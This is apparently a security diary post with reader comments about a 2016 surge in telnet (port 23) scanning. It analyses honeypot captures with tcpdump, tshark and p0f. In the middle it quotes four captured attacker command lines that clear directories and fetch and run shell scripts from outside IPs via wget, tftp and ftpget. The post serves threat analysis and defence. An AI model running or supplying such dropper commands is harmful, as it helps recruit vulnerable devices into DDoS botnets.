Increase in Port 23 (telnet) scanning
Update: I extracted a sample pcap. The target IP (honeypot) is replaced with 192.0.2.1. The odd thing about these connections is that they are not only all "blind", but they don't really send a password. Also, according to my version of Wireshark, the telnet traffic is initially malformed. Maybe a telnet exploit? click here for the pcap file
Some readers noted that over the weekend, port 23 scans were up significantly. I just took a quick look at our honeypot, and don't really see anything significantly different, other then the well known fact that if you run a telnet server with default password, you are probably already compromised.
Typically, a sharp increase in the number of source IPs indicates some type of worm that uses vulnerable systems to scan for more victims after it infects them.
The main target of telnet scans are usually embedded devices. The exploit follows a pretty simple pattern:
- brute force password (usually a well known default password)
- Download additional malware via ftp/http or tftp (typically multiple binaries for various architectures)
- run the malware, which will typically setup a client for a DDoS botnet.
The malware is very ephemeral, with the distribution point often being shut down by the time it scans our honeypot. Here are a couple of results from our honeypot, and a few tricks about how to deal with lots of data in pcap files.
The first question is: Is this traffic spoofed? As a visual check, we compare the before and after distribution by /8 network. The image shows some deviations, but overall the graphs follow each other and there are no huge discrepancies in RFC1918 networks or other obviously spoofed networks.
For the honeypot, I setup traffic captures collection 100MB pcap files with tcpdump (tcpdump -w /tmp/telnet -C100 port 23). On this very busy honeypot (it covers several thousand IPs), it took about 15 minutes to get to 100MB.
Next, lets take a look at telnet payloads with tshark:
tshark -r telnet -n -Y 'telnet.data && tcp.len>1' -T fields -e telnet.data | sort | uniq -c | sort -n
Here are some of the top commands:
------
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://93. 186.254.152/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 93. 186.254.152 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 93. 186.254.152; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh
------
cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://149 .56.110.173/bin.sh;sh bin.sh;busybox tftp -r bin2.sh -g 149 .56.110.173;sh bin2.sh;busybox tftp 149 .56.110.173 -c get bin3.sh;sh bin3.sh;busybox ftpget 149 .56.110.173 bin4.sh;sh bin4.sh;exit
------
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://192 .227.221.223/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 192 .227.221.223 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 192 .227.221.223; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 192 .227.221.223 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *;
------
cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://208 .67.1.114/rv.sh;sh rv.sh;busybox tftp -r rv1.sh -g 208 .67.1.114;sh rv1.sh;busybox tftp 208 .67.1.114 -c get rv2.sh;sh rv2.sh;busybox ftpget 208 .67.1.114 rv3.sh rv3.sh;sh rv3.sh;exit
------
As you can see, they all follow the standard "pattern".
p0f can give us a quick break down of operating systems for the collected traffic. Pretty much all of the hits come from Linux. Out of the about 1 million p0f records, we got less then 200 that indicate an operating system other then Linux.
So in conclusion: Not sure what causes the significant increase, but I doubt that it is anything fundamentally different from what we have seen before. Keep your telnet servers contained (or turned off) and don't use default passwords.
Network Monitoring and Threat Detection In-Depth | Singapore | Nov 18th - Nov 23rd 2024 |
Comments
My guess is that's school is out and the kids are starting their summer projects.
>>Ericw
Anonymous
May 31st 2016
8 years ago
45% of dropped connections (since my last log rotation) are to port 23. Highest ratio for any port I have ever seen…against my IP space. Number of unique sources to me in current log file is 117495 and rising when posting this article.
I did some google-fu… and came up with two interesting current URL’s that may be related… The first is not in english, but google translate helps get one interesting point from their honeypot...
https://swehack.org/viewtopic.php?t=1746 > 95% of all attacks are gafgyt or a close relative.
And something earlier this year….
http://www.spamfighter.com/News-20200-Remaiten-is-a-New-DDoS-Bot-Targeting-Routers-based-on-Linux.htm
Anyway... Interesting to watch from the sidelines from now...
Anonymous
May 31st 2016
8 years ago
Unfortunately I do not have the logs of the last two days due to hardware failure :(
Anonymous
Jun 1st 2016
8 years ago
I'm relatively new to info sec so pardon the question (I'm going to ask Greg below a similar new-guy question)... but what are you using to get the data collected for your longtail page? I've been looking for a good method to pull that kind of data but nothing's jumping out at me yet.
Thanks, I appreciate any suggestions!
-Jason
Anonymous
Jun 1st 2016
8 years ago
I'm a newer player to the info sec world so pardon my semi-off topic question: what tool or method are you using to narrow it down to see that 45% of dropped connections are telnet? My FW logging is handy for troubleshooting but I'm sure there has to be a better method (via SIEM or something) to be able to narrow it down that nicely.
Any suggestions are appreciated! Thank you!
Jason
Anonymous
Jun 1st 2016
8 years ago
My data was not compiled using anything fancy. Raw log file, with some linux commands to count based on a regex...
Greg
Anonymous
Jun 2nd 2016
8 years ago
Anonymous
Jun 3rd 2016
8 years ago